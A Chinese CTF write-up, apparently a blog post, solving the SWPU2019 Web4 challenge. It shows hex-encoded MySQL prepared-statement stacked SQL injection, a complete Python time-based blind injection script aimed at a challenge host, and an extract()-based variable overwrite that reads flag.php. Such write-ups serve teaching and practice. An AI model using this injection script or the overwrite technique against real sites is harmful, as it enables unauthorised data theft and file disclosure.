• [SWPU2019]Web4


    知识点:16进制+mysql预处理,在PDO环境下的sql进行堆叠注入、mvc框架的简单审计、extract函数变量覆盖
    
    • 1

    分析

    登录没反应,注册功能没有,也没有目录穿越和伪协议读取,那么抓个包吧,可以看到状态码,和一个状态信息,试一下注入,可以看到加了单引号报错,双引号却没有,单引号加分号没错,那么就很明显了,是堆叠注入。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    并且还过滤了一大堆关键词,这边就要用16进制+mysql预处理来进行预处理,预处理我理解就是类似动态调用,那么16进制+mysql预处理是怎么进行堆叠注入的呢?我们借助MySQL来看一下。
    在这里插入图片描述
    从sql界面中可以看出,我们用预处理来执行16进制后的sql语句是可以的,那么我们就可以进行堆叠注入了。
    知识点详细了解处:https://xz.aliyun.com/t/3950

    mysql> select hex('select sleep(5)');
    +--------------------------------+
    | hex('select sleep(5)')         |
    +--------------------------------+
    | 73656C65637420736C656570283529 |
    +--------------------------------+
    1 row in set (0.01 sec)
    
    mysql> set @a = 0x73656C65637420736C656570283529;
    Query OK, 0 rows affected (0.00 sec)
    
    mysql> prepare smtm_test from @a;
    Query OK, 0 rows affected (0.00 sec)
    Statement prepared
    
    mysql> execute smtm_test;
    +----------+
    | sleep(5) |
    +----------+
    |        0 |
    +----------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    获取源码文件名-exp

    exp出处:https://www.anquanke.com/post/id/194640#h3-4

    import requests
    import json
    import time
    
    def main():
        url = 'http://2f40d5e5-47d2-45c6-9f2c-eeafd0786245.node4.buuoj.cn:81/index.php?r=Login/Login'
        payloads = "admin';set @a=0x{0};prepare smtm_test from @a;execute smtm_test-- -"
        flag = ''
        for i in range(27,30):
            payload = 'select if(ascii(substr((select  flag from flag),{0},1))={1},sleep(3),0)'
            for j in range(32,127):
                datas = {"username":payloads.format(str_to_hex(payload.format(i,j))),"password":"123456"}
                data = json.dumps(datas)
                times = time.time()
                res = requests.post(url=url, data=data)
                if time.time() - times >= 3:
                    flag = flag + chr(j)
                    print(flag)
                    break
    
    
    def str_to_hex(s):
        return ''.join([hex(ord(c)).replace('0x', '') for c in s])
    
    if __name__ == '__main__':
        main()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    源码文件:glzjin_wants_a_girl_friend.zip

    利用点

    flag文件提示我们要通过某些方法访问它。
    在这里插入图片描述

    fun.php中解释了路由的构成。 例如:Login/Index就是LoginController下的actionIndex函数
    在这里插入图片描述
    也就是说r=Login/Index访问了Controller文件夹下的文件。
    在这里插入图片描述
    在BaseController.php中看到了一个extract函数,可以用来变量覆盖,且这是一个mvc框架,那么view文件夹下的就是客户端的,$this->viewPath = BASE_PATH . "/View/{$viewName}.php"; include包含了里面传的一个参数,找找哪边可以利用来传参。
    在这里插入图片描述
    UserController.php中可以传参给BaseController.php中的$viewName属性,此时已经确定了index.php?r=User/Index,接下来就去view/userIndex.php文件看看
    在这里插入图片描述
    view/userIndex.php中,有一段把图片转为base64然后输出的代码片段,那么我们可以利用extract函数覆盖掉$img_base64/../flag.php,这样就可以得到flag的base64加密后的值了。
    在这里插入图片描述

    输入参数:
    在这里插入图片描述
    获得flag:
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    Day39、40、41 尚硅谷JUC——ThreadPool线程池
    GPT-4o:重塑人机交互的未来
    【图解HTTP】HTTP协议基础
    Prometheus系列(4)之Springboot集成Micrometer的JVM监控
    易班 华南理工大学 新生入学教育在线考试 题库共503题
    给出含有n个整数的数组s,找出s中和加起来的和最接近给定的目标值的三个整数。返回这三个整数的和。你可以假设每个输入都只有唯一解。
    小程序中如何划分会员级别以及不同级别不同积分累计、折扣、返佣、升级条件等
    云原生gitlab在k8s上配置ingress ssh端口访问仓库
    基于动态邻域的切换粒子群优化算法
    OpenCV:解锁计算机视觉的魔法钥匙
  • 原文地址:https://blog.csdn.net/shinygod/article/details/126909360